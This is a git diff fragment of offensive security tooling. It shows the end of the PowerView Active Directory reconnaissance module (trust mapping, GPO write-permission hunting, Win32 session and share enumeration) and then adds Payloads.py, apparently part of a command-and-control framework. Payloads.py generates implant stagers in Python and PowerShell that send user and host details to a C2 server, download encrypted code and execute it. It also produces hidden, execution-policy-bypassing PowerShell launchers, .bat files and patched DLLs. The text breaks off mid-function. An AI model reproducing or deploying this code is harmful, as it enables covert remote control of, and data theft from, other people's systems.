Get-DomainTrustMapping { +<# +.SYNOPSIS + +This function enumerates all trusts for the current domain and then enumerates +all trusts for each domain it finds. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. + +.PARAMETER LDAP + +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries, +and output everything to a .csv file. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $LDAP, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['LDAP']) { $DomainTrustArguments['LDAP'] = $LDAP } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + + # get the current domain and push it onto the stack + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the trusts for this domain + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments + + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments + } + + if ($Trusts) { + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if ($Trust.SourceName -and $Trust.TargetName) { + # make sure we process the target + $Null = $Domains.Push($Trust.TargetName) + $Trust + } + } + } + } + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" + } + } + } +} + + +function Get-GPODelegation +{ +<# +.SYNOPSIS + +Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. + +Author: Itamar Mizrahi (@MrAnde7son) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER GPOName + +The GPO display name to query for, wildcards accepted. + +.PARAMETER PageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.EXAMPLE + +Get-GPODelegation + +Returns all GPO delegations in current forest. + +.EXAMPLE + +Get-GPODelegation -GPOName + +Returns all GPO delegations on a given GPO. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOName = '*', + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Exclusions = @("SYSTEM","Domain Admins","Enterprise Admins") + + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $DomainList = @($Forest.Domains) + $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } + foreach ($Domain in $Domains) { + $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" + $Searcher = New-Object System.DirectoryServices.DirectorySearcher + $Searcher.SearchRoot = $Domain + $Searcher.Filter = $Filter + $Searcher.PageSize = $PageSize + $Searcher.SearchScope = "Subtree" + $listGPO = $Searcher.FindAll() + foreach ($gpo in $listGPO){ + $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + if ($ACL -ne $null){ + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] + +# used to parse the 'samAccountType' property for users/computers/groups +$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ + DOMAIN_OBJECT = '0x00000000' + GROUP_OBJECT = '0x10000000' + NON_SECURITY_GROUP_OBJECT = '0x10000001' + ALIAS_OBJECT = '0x20000000' + NON_SECURITY_ALIAS_OBJECT = '0x20000001' + USER_OBJECT = '0x30000000' + MACHINE_ACCOUNT = '0x30000001' + TRUST_ACCOUNT = '0x30000002' + APP_BASIC_GROUP = '0x40000000' + APP_QUERY_GROUP = '0x40000001' + ACCOUNT_TYPE_MAX = '0x7fffffff' +} + +# used to parse the 'grouptype' property for groups +$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ + CREATED_BY_SYSTEM = '0x00000001' + GLOBAL_SCOPE = '0x00000002' + DOMAIN_LOCAL_SCOPE = '0x00000004' + UNIVERSAL_SCOPE = '0x00000008' + APP_BASIC = '0x00000010' + APP_QUERY = '0x00000020' + SECURITY = '0x80000000' +} -Bitfield + +# used to parse the 'userAccountControl' property for users/groups +$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + PARTIAL_SECRETS_ACCOUNT = 67108864 +} -Bitfield + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +Set-Alias Get-DomainPolicy Get-DomainPolicyData diff --git a/Payloads.py b/Payloads.py new file mode 100644 index 0000000..7020579 --- /dev/null +++ b/Payloads.py @@ -0,0 +1,442 @@ +#!/usr/bin/env python + +from Core import * +from Config import * +from Colours import * +import StringIO, gzip, io, base64, subprocess, os + +class Payloads(object): + + quickstart = None + + def __init__(self, KillDate, Key, HostnameIP, Domainfrontheader, Serverport, Proxyuser, Proxypass, Proxyurl, ImplantType, Proxy, + Insecure, UserAgent, Referer, ConnectURL, BaseDirectory): + self.KillDate = KillDate + self.Key = Key + self.DomainFrontHeader = Domainfrontheader + self.HostnameIP = HostnameIP + self.Serverport = Serverport + self.Proxyuser = Proxyuser + self.Proxypass = Proxypass + self.Proxyurl = Proxyurl + self.Proxy = Proxy + self.ImplantType = ImplantType + self.Insecure = Insecure + self.UserAgent = UserAgent + self.Referer = Referer + self.ConnectURL = ConnectURL + self.BaseDirectory = BaseDirectory + self.Python = """import urllib2,os,base64,ssl,socket,pwd;from Crypto.Cipher import AES;ssl._create_default_https_context = ssl._create_unverified_context;un = pwd.getpwuid( os.getuid() )[ 0 ];pid = os.getpid();is64 = sys.maxsize > 2**32; arch = ('x64' if is64 == True else 'x86');hn = socket.gethostname(); o = urllib2.build_opener();o.addheaders.append(('Cookie', 'SessionID=%%s;%%s;%%s;%%s;%%s;' %% (un,hn,hn,arch,pid)));response = o.open('%s'); html = response.read(); iv = html[0:16]; aes = AES.new(base64.b64decode('%s'), AES.MODE_CBC, iv); data = (aes.decrypt(base64.b64decode(html))).rstrip('\\0'); exec(data[16:]) + """ % ((self.HostnameIP+":"+self.Serverport+self.ConnectURL+"?m"),self.Key) + self.C2Core = """%s +$sc="%s" +$s="%s" +function CAM ($key,$IV){ +$a = New-Object -TypeName "System.Security.Cryptography.RijndaelManaged" +$a.Mode = [System.Security.Cryptography.CipherMode]::CBC +$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros +$a.BlockSize = 128 +$a.KeySize = 256 +if ($IV) +{ +if ($IV.getType().Name -eq "String") +{$a.IV = [System.Convert]::FromBase64String($IV)} +else +{$a.IV = $IV} +} +if ($key) +{ +if ($key.getType().Name -eq "String") +{$a.Key = [System.Convert]::FromBase64String($key)} +else +{$a.Key = $key} +} +$a} +function ENC ($key,$un){ +$b = [System.Text.Encoding]::UTF8.GetBytes($un) +$a = CAM $key +$e = $a.CreateEncryptor() +$f = $e.TransformFinalBlock($b, 0, $b.Length) +[byte[]] $p = $a.IV + $f +[System.Convert]::ToBase64String($p) +} +function DEC ($key,$enc){ +$b = [System.Convert]::FromBase64String($enc) +$IV = $b[0..15] +$a = CAM $key $IV +$d = $a.CreateDecryptor() +$u = $d.TransformFinalBlock($b, 16, $b.Length - 16) +[System.Text.Encoding]::UTF8.GetString($u)} +function Get-Webclient ($Cookie) { +$d = (Get-Date -Format "dd/MM/yyyy"); +$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null); +$k = [datetime]::ParseExact("%s","dd/MM/yyyy",$null); +if ($k -lt $d) {exit} +$username = "%s" +$password = "%s" +$proxyurl = "%s" +$wc = New-Object System.Net.WebClient; +%s +$h="%s" +if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)} +elseif($h){$script:s="https://$($h)%s";$script:sc="https://$($h)"} +$wc.Headers.Add("User-Agent","%s") +$wc.Headers.Add("Referer","%s") +if ($proxyurl) { +$wp = New-Object System.Net.WebProxy($proxyurl,$true); +if ($username -and $password) { +$PSS = ConvertTo-SecureString $password -AsPlainText -Force; +$getcreds = new-object system.management.automation.PSCredential $username,$PSS; +$wp.Credentials = $getcreds; +} else { $wc.UseDefaultCredentials = $true; } +$wc.Proxy = $wp; } else { +$wc.UseDefaultCredentials = $true; +$wc.Proxy.Credentials = $wc.Credentials; +} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") } +$wc } +function primer { +if ($env:username -eq "$($env:computername)$"){$u="NT AUTHORITY\SYSTEM"}else{$u=$env:username} +$o="$env:userdomain\$u;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;%s" +$pp=enc -key %s -un $o +$primer = (Get-Webclient -Cookie $pp).downloadstring($s) +$p = dec -key %s -enc $primer +if ($p -like "*key*") {$p| iex} +} +try {primer} catch {} +Start-Sleep 300 +try {primer} catch {} +Start-Sleep 600 +try {primer} catch {}""" % (self.Insecure,(self.HostnameIP+":"+self.Serverport), + (self.HostnameIP+":"+self.Serverport+self.ConnectURL+self.ImplantType),self.KillDate, self.Proxyuser,self.Proxypass, + self.Proxyurl,self.Proxy,self.DomainFrontHeader,self.ConnectURL,self.UserAgent,self.Referer, + (self.HostnameIP+":"+self.Serverport),self.Key,self.Key) + + + def QuickstartLog( self, txt ): + if not self.quickstart: self.quickstart = '' + print txt + self.quickstart += txt + '\n' + + def WriteQuickstart( self, path ): + with open( path, 'w' ) as f: + f.write( self.quickstart + Colours.END ) + print '' + print 'Quickstart written to ' + path + + def CreateRawBase(self, full=False): + out = StringIO.StringIO() + with gzip.GzipFile(fileobj=out, mode="w") as f: + f.write((self.C2Core)) + gzipdata = base64.b64encode(out.getvalue()) + b64gzip = "IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('%s'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata + batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden -e " + base64.b64encode(b64gzip.encode('UTF-16LE')) + if full: + return batfile + else: + return base64.b64encode(b64gzip.encode('UTF-16LE')) + + def CreateRaw(self, name=""): + out = StringIO.StringIO() + with gzip.GzipFile(fileobj=out, mode="w") as f: + f.write((self.C2Core)) + gzipdata = base64.b64encode(out.getvalue()) + b64gzip = "IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('%s'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata + filename = "%s%spayload.txt" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(self.C2Core ) + output_file.close() + self.QuickstartLog( "Raw Payload written to: %s" % filename ) + + batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden -e " + base64.b64encode(b64gzip.encode('UTF-16LE')) + filename = "%s%spayload.bat" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(batfile) + output_file.close() + self.QuickstartLog( "Batch Payload written to: %s" % filename ) + + def PatchDll(self, filename, dll, offset, name): + filename = "%s%s" % (self.BaseDirectory,filename) + + output_file = open(filename, 'wb') + output_file.write(base64.b64decode(dll)) + output_file.close() + + out = StringIO.StringIO() + with gzip.GzipFile(fileobj=out, mode="w") as f: + f.write((self.C2Core)) + gzipdata = base64.b64encode(out.getvalue()) + b64gzip = "sal a New-Object;iex(a IO.StreamReader((a System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(\"%s\"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata + patchlen = 16000 - len((base64.b64encode(b64gzip.encode('UTF-16LE'))).encode('UTF-16LE')) + patch = (base64.b64encode(b64gzip.encode('UTF-16LE'))).encode('UTF-16LE') + patch2 = "" + patch2 = patch2.ljust( patchlen, '\x00' ) + patch3 = "%s%s" % (patch,patch2) + + f = open(filename, "r+b") + f.seek(offset) + f.write(patch3) + f.close() + + self.QuickstartLog( "%s Payload written to: %s" % (name, filename) ) + + + def CreateDlls(self, name=""): + # Load CLR "v2.0.50727" + self.QuickstartLog( "" + Colours.END ) + self.QuickstartLog( "ReflectiveDLL that loads CLR v2.0.50727 - DLL Export (VoidFunc2)" + Colours.GREEN ) + v2_86 = 